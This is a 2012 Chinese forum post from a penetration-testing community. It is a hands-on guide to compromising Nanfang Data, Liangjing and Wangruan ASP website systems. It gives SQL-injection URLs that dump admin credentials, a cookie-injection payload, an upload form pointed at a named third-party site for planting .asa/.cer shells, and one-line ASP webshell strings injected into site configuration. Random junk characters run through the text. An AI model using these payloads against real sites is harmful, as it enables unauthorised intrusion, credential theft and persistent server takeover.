中国网络渗透测试联盟

标题: 南方数据网站管理系统注入漏洞&后台拿WebShell [打印本页]

作者: admin    时间: 2012-12-4 11:06
标题: 南方数据网站管理系统注入漏洞&后台拿WebShell
  /Databases/0791idc.mdb# `1 m+ w. e/ x
1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7 , Z/ B# W, S1 T9 [
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
1 G5 H  m, ~# m& ~- q直接暴管理员帐号密码(md5)# o/ M/ x3 T6 A8 |
2.登陆后台
- E5 U: q5 A. p* y( h5 X3.利用编辑器上传:) ^) B0 h' p: b4 Q. A0 N2 D
访问admin/southidceditor/admin_style.asp1 y9 R2 P( X! Q4 u( ~1 B, w' N
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传.
; k( \/ M  e  B7 B, e
( L4 d. g8 z2 Y/ c: e; w$ M========================================# g+ ]5 x- v5 a/ z5 D, X
: P2 D4 Y! ~, O* C* Z  z8 m
参考资料整理:
  X9 k7 u5 E( P南方数据、良精系统、网软天下漏洞利用* \' x+ U8 S. j$ A& U/ n$ b

# Y% b  O% [  T0 G1、通过upfile_other.asp漏洞文件直接取SHELL
4 r" t! `1 c4 p$ ~+ x直接打开userreg.asp进行注册会员,进行登录,(在未退出登录的状态下)使用本地上传文件进行上传代码如下:
2 h7 r  W6 y& ?! L<HTML><HEAD>
& q7 H3 B( V, g7 D5 l2 ?<META http-equiv=Content-Type content="text/html; charset=gb2312"> 6 b1 s9 L% @9 n5 `* ]. y
<STYLE type=text/css>BODY { 6 C2 Q' o1 n7 W% L" z
FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee / H7 a6 ]* {. k% s9 Y
} 9 e" m/ ~6 U/ l# \+ o0 |7 z4 N
.tx1 {
) ~4 A! T6 I1 ^3 }' E1 f- A- JBORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px
- U5 Z% Y1 c2 l  C" p} + ]4 T6 T! E' w( n& A
</STYLE>. p# H0 @: _& C3 k  W
<META content="MSHTML 6.00.2800.1400" name=GENERATOR></HEAD> . ~% A5 C! `4 P$ N# I
<BODY leftMargin=0 topMargin=0>
  z  E3 P' G8 p/ U' v' T<FORM name=form1 action="http://www.huobaodidai.cn/upfile_Other.asp"; method=post 9 d( c) u( @4 Z
encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT xxxxx="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit>
) U9 X7 r" f. k' w& h<INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID> </FORM></BODY></HTML>
3 d# d0 J% u2 J( P9 s( A
2 L& ]$ ], c1 Y6 C5 v将以上代码保存为html格式,替换代码中的网址,第一个框里选择图片文件,第二个框选择.cer、.asa或asp文件上传(后面需要加一个空格,貌似在IE8中进行使用不能后面加空格,加空格时就弹出选择文件对话框,我是找不到解决办法)。7 Y# K# _! n6 R, ?9 i/ j9 q" Q: D6 @
注:此方法通杀南方数据、良精系统、网软天下等
; w  w6 |7 n( z8 B: c4 s2 ]7 T4 B5 H1 n" c" R
2、通过注入秒杀管理员帐号密码,使用如下:1 m8 I0 X4 ?* J; F! |* P$ U6 _
http://www.huobaodidai.cn/NewsType.asp?SmallClass=’%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20’’=’' J6 ]5 e& h& r/ ^) ?8 ~7 f) f
以上代码直接暴管理员帐号和密码,取SHELL方法如下:6 Y+ Q5 A: A3 f) x# z0 ~6 D) S
在网站配置[http://www.target.com/admin/SiteConfig.asp]的版权信息里写入 "%><%eval(request(chr(35)))%><%’: q3 C/ O1 O1 Z9 p
成功把shell写入http://www.target.com/inc/config.asp- Q2 f6 \) e0 m% \2 g- m; q
这里一句话chr(32)密码是“#”
# \* l3 I& e1 N* C8 e3、cookie注入) j7 ~" W! E5 n( |
清空地址栏,利用union语句来注入,提交:
; l+ n! _# P1 _5 K9 ijavascript:alert(document.cookie="id="+escape("1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin"))
0 S- w6 m( t! ?7 `如果你牛你就手工,反正我是不会,用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为?
* n' R8 N* }  o3 X8 f注:貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。
! Q8 }! x' G+ T9 [; E$ D4 E(当然南方不只有上面三个漏洞,还有几个漏洞貌似不常用,反正我给我常用的总结出来希望对大家有帮助)
9 f' A' r. l. O, y! Q( w# u
, E/ o4 V9 d$ e; P三、后台取SHELL方法总结+ q8 {( M2 A$ s3 l: ^" D0 S
(1)在系统管理中的网站配置中插入一句话马:进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入"%><%Eval(Request(chr(112)))%><%’,再点保存配置,如图:
" q' F, `2 ~/ P  E( K然后我们打开inc/config.asp文件,看到一句话马已写入到配置文件中了,
0 `! `4 _' B, g- r这时再打开一句话马的客户端,提交同样得到一个小马
1 C$ h& h1 I8 k5 F2 z! E& O(注:以下均在其它网站上测试所截的图,为防止信息泄漏,未截留网站连接,请谅解!)
% a& U/ o4 @) O. s' E(2)后台上传漏洞,在Upfile_Photo.asp文件中部分代码片段如下:& N) P2 g4 z  V# m
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then6 O& ]' J" u' f+ P
EnableUpload=false
# r8 L1 y/ ]7 V" V  s( ~# X% c
/ q8 y9 [1 l3 p, }, gend if
" f/ n7 v$ D: S, x7 l; c/ Aif EnableUpload=false then
( |7 j9 F$ g9 v/ X7 y5 D: ?: q* {- tmsg="这种文件类型不允许上传!nn只允许上传这几种文件类型:" & UpFileType
# w$ ?# S) U9 S. _2 z( pFoundErr=true/ h* s$ h' U' a. o' s2 r2 l: h
end if) E% z& r5 Z- }7 s# K+ j1 P5 a$ ]
大家可以看到程序只限制了对"asp","asa","aspx"类的文件上传,我们只要在”网站配置”的允许的上传文件类型处增加上传“cer“等被服务器可解析的文件类型就可,如图:3 q' Q! Y  o+ `! x) k
提交时却显示下载页面 ,上传其它如”htr,cdx”等后缀文件时,提交时服务器却不请求(只能说运气不好吧)
" n- u1 b, s" ^  `(3)后台备份,直接在”产品管理”下的添加产品中上传jpg后缀的asp马,再到”系统管理”下的数据库备份,在”当前数据库路径”栏填入上传的路径,在” 备份数据库名称”填入你要备份马的名称,不过系统会在名称后自动添加上.asa的- n& h) O. V0 t( e/ V, O

0 m1 e7 R& u. m, Y$ s: S+ Z点”确定”后提示”备份数据库成功….”不过实际文件是没有.asa的
" |" K0 U4 ^: V) d1 k+ d直接访问备份后的地址,就得到一个webshell
8 ]' r, g9 m7 v) @! k% \(以上虽用网软做的后台演示,但南方和良精后台取shell都是大同小异的)​




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2